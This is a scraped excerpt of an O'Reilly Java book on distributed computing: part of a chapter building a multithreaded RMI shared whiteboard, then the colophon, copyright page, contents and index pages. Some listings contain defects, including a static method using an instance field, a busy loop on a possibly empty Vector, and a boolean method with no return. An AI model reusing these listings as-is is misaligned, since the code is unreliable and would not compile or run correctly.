To let the rest of the shared whiteboard users know what the local user has done (so they can update their displays), the mouse event-handling methods in WhiteboardUser broadcast a message to them all using the broadcast() method inherited from the RMICollaboratorImpl parent class. In mousePressed(), a "start" message is sent along with the coordinates of the mouse press (passed as the body of the message). This tells the other whiteboard users that this user has started drawing something at those coordinates. In mouseDragged(), a "drag" message is sent, with the coordinates of the mouse. mouseReleased() sends an "end" message with the coordinates of the mouse.

This gets the drawing actions of each whiteboard user to all of the other users; now we need to do something with this information. Remember that when the mediator calls the collaborator's notify() method, it passes in the message tag, the body of the message, and the Identity of the sender. The WhiteboardUser.notify() method first gets the drawing color of the remote agent from its Identity--remember that each agent adds its preferred color to its Identity in its constructor. The notify() method sets the drawing color of the buffer image by getting its Graphics object and calling its setColor() method with the remote agent's color. Next, it checks the message tag. If this is a "start" message, then it just stores the mouse location in a Hashtable, so that it will know where to draw a line when the next mouse position comes as the user moves the mouse. When a "drag" message comes in, the last mouse position from this user is retrieved from the Hashtable, and a line is drawn from that point to the new point, using the agent's color. Then the last point is set to the current point, for the next drag message. If an "end" message is received, then a line is drawn from the last point to the new point, and the last point is removed from the Hashtable. Figure 10-2 shows the shared whiteboard in action, with two users sharing a whiteboard on remote machines.

Figure 10-2. Our shared whiteboard in use

10.2.1. Problems with the First Version

Although this first attempt works, it's not very useful. The event-handling methods on the WhiteboardUser don't do any drawing on the Canvas; all of the drawing is done in the notify() method. So even the local user's scribbles on the whiteboard are not shown in the local display until a message has been broadcast through the mediator, and received back through notify(). Even with a pretty fast network connection, users will see a noticeable (and annoying) delay between their mouse movements and the update of the Canvas.

This problem is simple to remedy. We need to draw the user's scribblings on the local whiteboard immediately, broadcast the event through the mediator, and ignore any incoming notifications from the mediator that have our Identity on them (to avoid drawing the local stuff twice). We can do this by calling nextLine() right in the mouseDragged() and mouseReleased() methods, before we broadcast the event to the other users:

public void mouseReleased(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      nextLine(getIdentity().getName(), evPt,
               (Color)getIdentity().getProperty("color"));
      lastPts.remove(getIdentity().getName());
      broadcast("end", evPt);
    }
    catch (Exception e) {}
}
public void mouseDragged(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      nextLine(getIdentity().getName(), evPt,
             (Color)getIdentity().getProperty("color"));
      lastPts.put(getIdentity().getName(), evPt);
      broadcast("drag", evPt);
    }
    catch (Exception e) {}
}

Then we modify our notify() method to compare the identity of the source to our local identity. If they are the same, we just ignore the message, since we've already drawn our own scribblings locally:

    public boolean notify(String tag, Object data, Identity src)
        throws IOException, RemoteException {
        if (src.getName().compareTo(getIdentity().getName()) == 0) {
            return true;
        }
            ...

A more subtle problem with this whiteboard client is the choppy drawing that results as the user drags the mouse across the Canvas. Instead of a smooth, curved line being drawn exactly where the mouse goes, I get a choppy line connecting points along the path I take. This happens because of the way we're handling mouse events in the WhiteboardUser class. Each event is passed into a call to one of the mouseXXX() methods. These methods broadcast the event to the other whiteboard users by calling the broadcast() method from RMICollaboratorImpl, which in turn remotely calls the mediator's broadcast() method. While the WhiteboardUser waits for the remote method call to complete, the user continues to move the mouse. In most AWT implementations, the event is passed into the event handler in the same thread that is polling for user events. This is done to ensure that events are handled in the order that they are received. If the AWT internals simply spawned off an independent thread to handle each incoming event, there would be no guarantee of the order in which the threads will run--it's up to the thread-scheduling process of the local virtual machine. In our case, if we blindly start a new thread to handle each draw event from the user, then some drag events may be handled out of sequence if their threads happen to get some CPU time before the earlier events. We'll end up drawing lines between disconnected points along the path of the mouse, which will result in a confusing mess. But with each event being handled in the same thread as the event poller, a lengthy or blocked event-handling thread can cause lost user events, which seems to be our problem here. Some of the mouse drag events are being lost while the event handling thread waits on the remote broadcast() call.

Fixing this problem is a bit more involved. We need to split the event handling part of our agent and the collaborative broadcasting part into separate threads, but we still need to be sure that the events are processed in the order in which they come in from the user. The easiest part for us to isolate into a new thread is the remote method calls, so that's what we'll do. The new thread simply broadcasts local events to the other users by calling the WhiteboardUser's broadcast() method. The mouse-handling methods pass the events on to this thread as they come in. To ensure that the events get broadcast through the mediator in the right order, we'll put the data for each event onto an event queue, and the event broadcasting thread will poll this event queue and send out events in the order in which they appear in the queue (first-in, first-out).

Our event broadcasting thread is implemented using the Msg and CommHelper classes shown in Example 10-3. The Msg class is simply a container that holds the data for each event. This data is just the tag that will be sent in the remote broadcast() method call, and the Object that is the body of the message (in our case, a Point object). The CommHelper class extends Thread, and has a reference to the collaborator that it's helping, and a Vector of Msgs. The run() method just polls the message list, sending them out as they come by calling the collaborator's broadcast() method.

Example 10-3. A Thread for Broadcasting Whiteboard Events

class Msg {
  public Object data;
  public String tag;
  public Msg(String t, Object o) {
    data = o;
    tag = t;
  }
}

class CommHelper extends Thread {
  RMICollaborator collaborator;
  Vector msgs = new Vector();
  public CommHelper(RMICollaborator c) {
    collaborator = c;
  }

  public static void addMsg(String t, Object o) {
    synchronized (msgs) {
      msgs.addElement(new Msg(t, o));
    }
  }

  public void run() {
    while (true) {
      try {
        Msg m = null;
        synchronized (msgs) {
          m = (Msg)msgs.elementAt(0);
          msgs.removeElementAt(0);
        }
        collaborator.broadcast(m.tag, m.data);
      }
      catch (Exception e) {}
    }
  }
}

We just need to update our WhiteboardUser class to use this new thread to broadcast user events rather than calling broadcast() directly from the event-handling methods. The updated WhiteboardUser class is shown in Example 10-4 as the ThreadedWhiteboardUser . This updated class also includes the changes described previously to avoid the local drawing delay. The changes are pretty minor: the ThreadedWhiteboardUser has a CommHelper reference, which it initializes in its constructor, passing a reference to itself as the collaborator; the mouseDragged() and mouseReleased() methods have also been updated to send the message tag and event location to the CommHelper, where the event will be queued for broadcast through the mediator.

Example 10-4. A Multithreaded Whiteboard Client

package dcj.examples.Collaborative;

import dcj.util.Collaborative.*;
import java.awt.event.*;
import java.awt.*;
import java.util.Hashtable;
import java.util.Properties;
import java.io.IOException;
import java.rmi.RemoteException;
import java.util.Vector;

public class ThreadedWhiteboardUser
    extends RMICollaboratorImpl
    implements java.awt.event.MouseListener,
               java.awt.event.MouseMotionListener
{
  protected Hashtable lastPts = new Hashtable();
  protected Component whiteboard;
  protected Image buffer;
  protected CommHelper helper;

  public ThreadedWhiteboardUser(String name, Color color,
                                String host, String mname)
         throws RemoteException {
    super(name, host, mname);
    getIdentity().setProperty("color", color);
    buildUI();
    helper = new CommHelper(this);
    helper.start();
  }

  protected void buildUI() {
    Frame f = new Frame();
    GridBagLayout gridbag = new GridBagLayout();
    GridBagConstraints c = new GridBagConstraints();
    f.setLayout(gridbag);
    f.addNotify();
    c.fill = GridBagConstraints.BOTH;
    c.gridwidth = GridBagConstraints.REMAINDER;
    Canvas canvas1 = new java.awt.Canvas();
    canvas1.setSize(240,180);
    canvas1.setBackground(Color.white);
    gridbag.setConstraints(canvas1, c);
    f.add(canvas1);
    String name = null;
    try {
      name = getIdentity().getName();
    }
    catch (Exception e) {
      name = "unknown";
    }
    Label label1 = new java.awt.Label("Your name: " + name);
    label1.setSize(100,30);
    gridbag.setConstraints(label1, c);
    f.add(label1);
    f.setSize(240,210);
    f.show();
    whiteboard = canvas1;
    whiteboard.addMouseListener(this);
    whiteboard.addMouseMotionListener(this);
    buffer = whiteboard.createImage(f.getSize().width,
                                    f.getSize().height);
  }

  protected void nextLine(String agent, Point pt, Color c) {
    Graphics g = buffer.getGraphics();
    g.setColor(c);
    Point lastPt = (Point)lastPts.get(agent);
    g.drawLine(lastPt.x, lastPt.y, pt.x, pt.y);
    whiteboard.getGraphics().drawImage(buffer, 0, 0, whiteboard);
  }

  public void mousePressed(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      lastPts.put(getIdentity().getName(), evPt);
      CommHelper.addMsg("start", evPt);
    }
    catch (Exception e) {}
  }

  public void mouseReleased(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      nextLine(getIdentity().getName(), evPt,
               (Color)getIdentity().getProperty("color"));
      lastPts.remove(getIdentity().getName());
      helper.addMsg("end", evPt);
    }
    catch (Exception e) {}
  }

  public void mouseDragged(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      nextLine(getIdentity().getName(), evPt,
             (Color)getIdentity().getProperty("color"));
      lastPts.put(getIdentity().getName(), evPt);
      helper.addMsg("drag", evPt);
    }
    catch (Exception e) {}
  }

  public void mouseExited(MouseEvent ev) {}
  public void mouseMoved(MouseEvent ev) {}
  public void mouseClicked(MouseEvent ev) {}
  public void mouseEntered(MouseEvent ev) {}

  public boolean notify(String tag, Object data, Identity src)
                 throws IOException, RemoteException {

    // If this is our own event, ignore it since it's already been handled.
    if (src.getName().compareTo(getIdentity().getName()) == 0) {
      return true;
    }

    Color agentColor = null;
    try {
      agentColor = (Color)src.getProperty("color");
    }
    catch (Exception exc) {
      System.out.println("Exception while getting color.");
      exc.printStackTrace();
    }

    if (tag.compareTo("start") == 0) {
      // First point along a path, save it and continue
      lastPts.put(src.getName(), data);
    }
    else if (tag.compareTo("drag") == 0) {
      // Next point in a path, draw a line from the last
      // point to here, and save this point as the last point.
      nextLine(src.getName(), (Point)data, agentColor);
      lastPts.put(src.getName(), data);
    }
    else if (tag.compareTo("end") == 0) {
      // Last point in a path, so draw the line and remove
      // the last point.
      nextLine(src.getName(), (Point)data, agentColor);
      lastPts.remove(src.getName());
    }

    return true;
  }
}

10.2.2. Some Further Improvements

This updated shared whiteboard system is still pretty simple, but useful. Each user can have her own color to distinguish herself from the other users, local drawing is done right away so there's no annoying delay as we drag the mouse over the whiteboard, and we've isolated the remote method calls from the event-handling thread so that none (or few) of the user's mouse events are lost while we block on the remote broadcast() call. But there are a few additional improvements that we could make so that this distributed application is more pleasant to use.

10.2.2.1. List of current users

When a user joins a shared whiteboard session, it would be nice to see who is currently using the whiteboard, what color they are using, etc. We could add this to our distributed application by defining a specialized mediator--a WhiteboardMediator--that sends a notification to each new agent with a list of all of the identities of the current users. The WhiteboardMediator would also send a notification to every existing user when a new user joins. The WhiteboardUsers could then update their local displays of remote users, using the name and color properties from the Identity list. To do this, we would just have to write a new implementation of the register() method on our WhiteboardMediator:

public boolean register(Identity i, RMICollaborator c)
               throws RemoteException {
    super.register(i, c);
    send(i, getIdentity(), "userlist", getMembers());
}

We'd also have to update the notify() method on the WhiteboardUser so that it could store the list of users and update its local display.

10.2.2.2. Maintain whiteboard state at the server

The most glaring flaw in our whiteboard is that we don't store the board's state on the mediator. This means that any new agents joining an existing whiteboard session won't be able to see what's already been drawn, just what's drawn from the time they join forward. It's easy to fix this problem with a specialized WhiteboardMediator. The mediator would just keep a history of all the scribbles that each user has made. New users joining the whiteboard receive a notification that includes all of the current scribbles that are on the whiteboard, so that they can draw them on their local display. The mediator could save the whiteboard state either as a table of point sets indexed by user Identity, or as an Image buffer. The table of point sets is more complicated to maintain, but opens up the possibility of removing individual user's actions (an "undo" feature), letting users change their personal color, etc. The Image buffer is easy to maintain and to send to new users, but doesn't allow us to pick out scribblings from particular users, since their actions have all been jumbled together into a single Image.

10.2.2.3. Performance improvements

We should be able to speed up the broadcasting and processing of drawing events by the other users. With the current whiteboard system, each mouse event from each whiteboard user is broadcast individually to the group through the mediator. The result is a delay from the time that one whiteboard user moves the mouse to the time that the line is drawn on another user's whiteboard. One way to speed things up is to batch the broadcasting of user events across the system, so that instead of broadcasting each event individually, we're broadcasting sets of events in a single remote broadcast() call. We can either batch the events at the WhiteboardUser, or on the WhiteboardMediator. If we batch them on the mediator, then we're still causing a remote method call for every mouse event the user makes; so it seems we would get the best improvement by doing the batching on the WhiteboardUser itself. We could do this by adding some code to the run() method of the CommHelper, so that local user events are sent a group at a time. We would also have to update the notify() method on the WhiteboardUser, so that it would recognize batch notifications and handle them appropriately.

Previous | Home | Next
10.1. A Simple Chat System | Book Index | A. Using the Examples in Applets
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Colophon (Java Distributed Computing)

 Java™ Distributed Computing Java Distributed Computing Search this book

Colophon

Our look is the result of reader comments, our own experimentation, and feedback from distribution channels. Distinctive covers complement our distinctive approach to technical topics, breathing personality and life into potentially dry subjects.

The image of the Gabriel® Original Tinkertoy® Construction Set on the cover of Java™ Distributed Computing was photographed by Edie Freedman and manipulated using Adobe Photoshop 3.0 and Adobe Gallery Effects filters. The cover layout was produced by Hanna Dyer using Quark XPress 3.3 and the Bodoni Black font from URW Software.

The inside layout was designed by Nancy Priest. Text was prepared by Mike Sierra in FrameMaker 5.0. The heading font is Bodoni BT; the text font is New Baskerville. The illustrations that appear in the book were created in Macromedia Freehand 7.0 by Robert Romano.

Previous | Home
Index | Book Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Distributed Computing--Copyright Statement (Java Distributed Computing)

 Java™ Distributed Computing Java Distributed Computing Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

Java™ Distributed Computing
by Jim Farley
ISBN 1-56592-206-9E

Print book published 1998 by O'Reilly & Associates, Inc., 101 Morris Street, Sebastopol, CA 95472.

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Logos and Trademarks

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

The O'Reilly logo is a registered trademark of O'Reilly & Associates, Inc. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc. was aware of a trademark claim, the designations have been printed in caps or initial caps. The use of the Gabriel® Original Tinkertoy® Construction Set image in association with Java™ Distributed Computing is a trademark of O'Reilly & Associates, Inc.

Disclaimer

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Questions, comments, and suggestions to bookquestions@ora.com.

Previous | Home | Next
Table of Contents | Book Index | Preface
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Distributed Computing (Java Distributed Computing)

by Jim Farley
ISBN 1-56592-206-9E
First edition, published January 1998.
(See the catalog page for this book.)

Search the text of Java™ Distributed Computing.

Table of Contents

Copyright
Preface
Chapter 1: Introduction
Chapter 2: Networking in Java
Chapter 3: Distributing Objects
Chapter 4: Threads
Chapter 5: Security
Chapter 6: Message-Passing Systems
Chapter 7: Databases
Chapter 8: Bandwidth-Limited Systems
Chapter 9: Collaborative Systems
Chapter 10: Building Collaborative Applications
Appendix A: Using the Examples in Applets
Appendix B: CORBA Services
Appendix C: JavaSpaces
Appendix D: RMI Quick Reference
Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Distributed Computing--Index

Java™ Distributed Computing Search this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
D.3. The java.rmi.server Package |  | Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0

There are no index entries for this letter.

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A

abstract object interfaces: 1.3.2. Abstract Interfaces
acceptMove( ): 6.4. Fixed Protocols
access control lists: 5.3.1. Access Control Lists
AccessDecision class: B.3.2. Security Model
AccessException: D.1. The java.rmi Package
Acl interface: 5.3.1. Access Control Lists
AclEntry class: 5.3.1. Access Control Lists
activation, dynamic: 3.3.2. Object Manager
adaptable message protocols: 6.5. Adaptable Protocols
addAgent( ): 9.3.1. Building the Infrastructure with Message Passing
addEntry( ): 5.3.1. Access Control Lists
addHandler( ): 6.6.2. Distributed Events
addMessageType( ): 6.5.4. An Adaptable Message Handler
addPageElements( ): 8.5.2. Web Browsing
addPermission( ): 5.3.1. Access Control Lists
addresses, IP: 2.1.1. IP Addressing
addSample( ): 8.4. Monitoring Bandwidth
agents
AgentConnection class (example): 9.3.1. Building the Infrastructure with Message Passing
AgentHandler class (example): 9.3.1. Building the Infrastructure with Message Passing
identities for: 5.3. Identities and Access Control
9.3.1. Building the Infrastructure with Message Passing
collaboration and: 9.2.2. Maintaining Agent Identities
managing: 5.2.2. The Core Security API
verifying: 5.1. Security Issues and Concerns
5.5.5. Distributing Certified Public Keys
imposter: 5.1. Security Issues and Concerns
algorithms, cryptographic: 5.2.1.1. The User API
5.7. Choosing a Cryptographic Algorithm
Diffie-Hellman technique: 5.4.2. Public Key Methods
5.4.2. Public Key Methods
5.7.2.1. Encryption techniques
DSA: 5.2.1.1. The User API
5.7.2.1. Encryption techniques
presently available: 5.7.2. Available Algorithms
RSA public key encryption: 5.7.2.1. Encryption techniques
AlreadyBoundException: D.1. The java.rmi Package
applets: A. Using the Examples in Applets
downloading support classes for: A.2. Class Downloads
applications
collaborative (see collaborative systems)
distributed (see distributed applications)
assignmentsFor( ): 7.2.4. JDBC-Enabled Data Objects
asymmetric encryption techniques: 5.4.2. Public Key Methods
5.6.1. Ciphers for Secure Data Transfers
asynchronous
agents: 4.4.1. Asynchronous Agents
communications, CORBA Event Service for: B.2. Event Service
message handling: 6.3.1. Asychronous vs. Synchronous Message Handling
message passing: 6.3.2. A Basic Message Processor
audio, streaming (example): 8.5.1. Streaming Multimedia
AudioConsumer class (example): 8.5.1. Streaming Multimedia
AudioProducer class (example): 8.5.1. Streaming Multimedia
AuditChannel interface: B.3.2. Security Model
AuditDecision interface: B.3.2. Security Model
auditing transactions (CORBA): B.3.1. Service Types
audit_needed( ): B.3.2. Security Model
authenticate( ): 5.5.3. An Authenticating Credit Agent
5.6.2. Back to Our Credit Agent
authentication: 1.3.6.2. Secure remote transactions
AuthAgent client (example): 5.5.3. An Authenticating Credit Agent
5.6.2. Back to Our Credit Agent
AuthCreditAgent client (example): 5.5.3. An Authenticating Credit Agent
CORBA Security Service for: B.3.1. Service Types
digital signatures (see digital signatures)
one-, two-, many-way: 5.7.1.3. One-, two-, and many-way cryptography
PGP for: 5.7.3.2. Pretty Good Privacy (PGP)
presently available techniques for: 5.7.2.2. Certificates and authentication techniques

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B

bandwidth-limited systems
managing bandwidth: 8.2. Coping with Limited Bandwidth
8.5. Bandwidth Management
monitoring bandwidth: 8.2. Coping with Limited Bandwidth
types of: 8.1. Flavors of Limited Bandwidth
BankServer interface (example): 3.5.2. The Interface Definition Language (IDL)
BasicMessage class (example): 6.3.2. A Basic Message Processor
6.5.4. An Adaptable Message Handler
(see also Message class)
for heterogeneous argument lists: 6.4.1. Heterogeneous Argument Lists
BasicMsgHandler class (example): 6.3.2. A Basic Message Processor
6.5.4. An Adaptable Message Handler
(see also MessageHandler class)
for heterogeneous argument lists: 6.4.1. Heterogeneous Argument Lists
bind( )
Naming interface: D.1. The java.rmi Package
Remote interface: D.2. The java.rmi.registry Package
binding objects: B.1. Naming Service
bind_new_context( ): B.1. Naming Service
broadcast( )
Collaborator interface: 9.3.1. Building the Infrastructure with Message Passing
Mediator interface: 9.3.1. Building the Infrastructure with Message Passing
RMICollaboratorImpl class (example): 9.3.2. Collaborating with RMI
broadcastCmd( ): 4.4.2. Distributed ThreadGroups
browser application example: 8.5.2. Web Browsing
BufferedInputStream class: 1.3.6.2. Secure remote transactions
2.1.4. Streams, Readers, and Writers for Input and Output
BufferedOutputStream class: 1.3.6.2. Secure remote transactions
2.1.4. Streams, Readers, and Writers for Input and Output
BufferedReader class: 2.1.4. Streams, Readers, and Writers for Input and Output
BufferedWriter class: 2.1.4. Streams, Readers, and Writers for Input and Output
buffering data: 8.5.1. Streaming Multimedia
buildMessage( ): 6.3.2. A Basic Message Processor
6.5.4. An Adaptable Message Handler
buildUI( ): A.1. Whiteboard Applet
byte-oriented I/O: 2.1.4. Streams, Readers, and Writers for Input and Output
ByteArrayInputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
ByteArrayOutputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
bytecodes: 1.3.3. Platform Independence

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C

caching database data: 7.2.5. Data Caching Issues
CallableStatement class: 7.1.2.3. Statement
cancel( ): C.4.6. cancel( )
CAs (certification authorities): 5.4.2. Public Key Methods
5.5.5. Distributing Certified Public Keys
5.7.2.2. Certificates and authentication techniques
catch clause: 1.3.4. Fault Tolerance Through Exception Handling
certification: 5.5.4. Certification: The Last Identity Link
certification authorities (CAs): 5.4.2. Public Key Methods
5.5.5. Distributing Certified Public Keys
5.7.2.2. Certificates and authentication techniques
digital signatures (see digital signatures)
distributing public keys: 5.5.5. Distributing Certified Public Keys
presently available techniques for: 5.7.2.2. Certificates and authentication techniques
public key certificates: 5.4.2. Public Key Methods
CFDContentHandler class (example): 2.2. URLs, URLConnections, and ContentHandlers
CFDContentHandlerFactory class (example): 2.2. URLs, URLConnections, and ContentHandlers
character-based I/O: 2.1.4. Streams, Readers, and Writers for Input and Output
CharArrayReader class: 2.1.4. Streams, Readers, and Writers for Input and Output
CharArrayWriter class: 2.1.4. Streams, Readers, and Writers for Input and Output
chat system (example): 10.1. A Simple Chat System
checkPermission( ): 5.5.3. An Authenticating Credit Agent
chess-playing agents example: 6.1. Messages Defined
Chess...Event classes (example): 6.6.2. Distributed Events
ChessEventServer class (example): 6.6.2. Distributed Events
ChessMessage class (example): 6.4. Fixed Protocols
ChessMove class (example): 6.4.2. Objects as Message Arguments
6.5.4. An Adaptable Message Handler
ChessPlayer class (example): 6.4. Fixed Protocols
ChessServer class (example): 6.4. Fixed Protocols
6.4. Fixed Protocols
fixed message protocol for: 6.4. Fixed Protocols
Java events for: 6.6.2. Distributed Events
RMI implementation of: 6.7. Using Remote Objects
synchronous vs. asynchronous handling: 6.3.1. Asychronous vs. Synchronous Message Handling
Cipher class: 5.6.1. Ciphers for Secure Data Transfers
classes
ClassLoader class: 2.3. The ClassLoader
object serialization versus: 3.6.6. Serializing Objects
ClassNotFoundException: 2.3.1. Loading Classes from the Network
downloading for applets: A.2. Class Downloads
locking for threads: 4.3.1. Synchronizing Threads
references to: 3.2.1. Creating Remote Objects
clients
interface for object classes: 3.3. Features of Distributed Object Systems
object stub: 3.3. Features of Distributed Object Systems
IDL interface and: 3.5.4. Client Stubs
3.5.5.2. The client stubs
Java RMI and: 3.6.4. Client Stubs and Server Skeletons
PipedClient class (example): 2.1.4. Streams, Readers, and Writers for Input and Output
RunnableSolverClient class (example): 4.2.1. Implementing Runnable
SimpleClient class (example): 1.3.5. Network Support
code, obtaining online: 0.3. About the Source Code
collaborative systems
chat system (example): 10.1. A Simple Chat System
Collaborator interface (example): 9.3.1. Building the Infrastructure with Message Passing
9.3.1. Building the Infrastructure with Message Passing
collaborator requirements: 9.3.1. Building the Infrastructure with Message Passing
CollaboratorMessage class (example): 9.3.1. Building the Infrastructure with Message Passing
concerns with: 9.2. Issues with Collaboration
definition of: 9.1. What Is a Collaborative System?
infrastructure of: 9.3. A Basic Collaborative Infrastructure
with message passing: 9.3.1. Building the Infrastructure with Message Passing
MessageCollaborator interface (example): 9.3.1. Building the Infrastructure with Message Passing
9.3.1. Building the Infrastructure with Message Passing
A.1. Whiteboard Applet
with RMI: 9.3.2. Collaborating with RMI
shared whiteboard (example): 10.2. A Shared Whiteboard
commit( ): 7.1.2.3. Statement
communication protocols: 1.2.2. Flexible, Extendible Communication Protocols
complexity of cryptographic algorithms: 5.7.1.2. Sophistication and complexity
concede( ): 6.4. Fixed Protocols
ConcedeMessage class (example): 6.4. Fixed Protocols
configuring JDBC drivers: 7.2.1. JDBC Driver Configurations
ConfirmMoveMessage class (example): 6.4. Fixed Protocols
6.4.1. Heterogeneous Argument Lists
connect( ): 9.3.1. Building the Infrastructure with Message Passing
ConnectException: D.1. The java.rmi Package
ConnectIOException: D.1. The java.rmi Package
Connection interface: 7.1.2.2. Connection
connect_pull_supplier( ): B.2.2. Interface Specifics
constraintsFor( ): 7.2.4. JDBC-Enabled Data Objects
consume( ): 8.4.2. Real Data Monitoring
consumeAll( ): 8.4.2. Real Data Monitoring
ConsumerAdmin interface: B.2. Event Service
ContentConsumer class (example): 8.4.2. Real Data Monitoring
ContentHandler class: 2.2. URLs, URLConnections, and ContentHandlers
ContentHandlerFactory class: 2.2. URLs, URLConnections, and ContentHandlers
ContentProducer class (example): 8.4.2. Real Data Monitoring
CORBA: 3.5. CORBA
B. CORBA Services
Event Service: B.2. Event Service
IDL (Interface Definition Language): 3.5.2. The Interface Definition Language (IDL)
Solver interface (example): 3.5.5.1. The IDL interface
Naming Service: B.1. Naming Service
java.rmi.Naming versus: B.1.1. Comparison to the RMI Registry
ORB (Object Request Broker): 3.5.1. The Object Request Broker (ORB)
RMI versus: 3.7. RMI vs. CORBA
Security Service: B.3. Security Service
CosEventChannelAdmin module: B.2.2. Interface Specifics
CosEventComm module: B.2.2. Interface Specifics
CosNaming module: B.1. Naming Service
costs of cryptography: 5.7.1.5. Financial and legal issues
createRegistry( ): D.2. The java.rmi.registry Package
createServerSocket( ): D.3. The java.rmi.server Package
createSocket( ): D.3. The java.rmi.server Package
createStatement( ): 7.1.2.3. Statement
Credential class: B.3.2. Security Model
crypt( ): 5.6.1. Ciphers for Secure Data Transfers
cryptography
algorithms for: 5.2.1.1. The User API
5.7. Choosing a Cryptographic Algorithm
JCE (Java Cryptography Extension): 5.2.2. The Core Security API
SSL for: 5.7.3.1. Secure Socket Layer (SSL)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D

data
buffering: 8.5.1. Streaming Multimedia
caching, database objects and: 7.2.5. Data Caching Issues
encrypting (see encryption)
marshaling: 3.2.2. Remote Method Calls
multicasting: 2.1.3. Multicast Sockets
partitioning and distributing: 1.2.1. Partitioning and Distributing Data and Functions
raw throughput monitoring: 8.4.1. Raw Data Monitoring
real throughput monitoring: 8.4.2. Real Data Monitoring
XDR-formatted (example): 2.1.4. Streams, Readers, and Writers for Input and Output
DatabaseItem interface (example): 7.2.4. JDBC-Enabled Data Objects
multiple Connection objects: 7.3. Multi-Database Applications
databases
defining data objects: 7.2.2. Defining the Data Objects
scheduling system example: 7.2.3. A Scheduling Example
JDBC API, overview of: 7.1. An Overview of JDBC
multiple in applications: 7.3. Multi-Database Applications
ODBC drivers: 7.2.1. JDBC Driver Configurations
remote: 7.2. Remote Database Applications
remote data servers and: 7.2.6. Remote Data Servers
sample query: 7.1.1. Data Retrieval Example
scheduling system (example): 7.2.3. A Scheduling Example
data caching: 7.2.5. Data Caching Issues
with JDBC-enabled data objects: 7.2.4. JDBC-Enabled Data Objects
DatagramPacket class: 2.1.2. Your Basic Socket
DatagramSocket class: 2.1.2. Your Basic Socket
DataInputStream class: 1.3.5. Network Support
2.1.4. Streams, Readers, and Writers for Input and Output
DataMonitor class (example): 8.4. Monitoring Bandwidth
DataOutputStream class: 2.1.4. Streams, Readers, and Writers for Input and Output
dcj.examples packages: 0.3. About the Source Code
dcj.utils packages: 0.3. About the Source Code
defocusElement( ): 8.5.2. Web Browsing
delegation models: 6.6.1. Event Model Overview
destroy( ): B.2.2. Interface Specifics
development tools for distributed object systems: 3.3.5. Development Tools
Diffie-Hellman encryption technique: 5.4.2. Public Key Methods
5.4.2. Public Key Methods
5.7.2.1. Encryption techniques
Digital Signature Algorithm (DSA): 5.2.1.1. The User API
5.7.2.1. Encryption techniques
digital signatures: 5.2.2. The Core Security API
5.5. Digital Signatures
DII (Dynamic Invocation Interface): 3.5. CORBA
disconnect_push_supplier( ): B.2.2. Interface Specifics
dispatch( ): D.3. The java.rmi.server Package
distributed applications
anatomy of: 1.1. Anatomy of a Distributed Application
bandwidth-limited (see bandwidth-limited systems)
with databases (see databases)
requirements for development: 1.2. Requirements for Developing Distributed Applications
distributed certified public keys: 5.5.5. Distributing Certified Public Keys
distributed computing
bandwidth-limited (see bandwidth-limited systems)
development tools for: 3.3.5. Development Tools
distribution of workload: 3.2.3. Other Issues
history of: 0. Preface
Java's advantages in: 1.3. What Does Java Provide?
motivations for: 1. Introduction
distributed events: 6.6.2. Distributed Events
distributed objects: 3.1. Why Distribute Objects?
databases and remote data: 7.2.6.2. Distributed objects from the data server
Java schemes: 3.4. Distributed Object Schemes for Java
comparison between: 3.7. RMI vs. CORBA
CORBA: 3.5. CORBA
Java RMI: 3.6. Java RMI
JavaSpaces system: C. JavaSpaces
system features: 3.3. Features of Distributed Object Systems
distributed threads/ThreadGroups: 4.4.2. Distributed ThreadGroups
synchronizing: 4.4.4. Synchronizing Distributed Threads
distributeEvent( ): 6.6.2. Distributed Events
distributing data and functions: 1.2.1. Partitioning and Distributing Data and Functions
DistThreadGroup class (example): 4.4.2. Distributed ThreadGroups
DNS (Domain Name Service): 2.1.1. IP Addressing
doConsume( )
AudioConsumer class: 8.5.1. Streaming Multimedia
ContentConsumer class: 8.4.2. Real Data Monitoring
Domain Name Service (DNS): 2.1.1. IP Addressing
done( )
RemoteCall interface: D.3. The java.rmi.server Package
RemoteRef class: D.3. The java.rmi.server Package
DoneCmd class (example): 1.3.5. Network Support
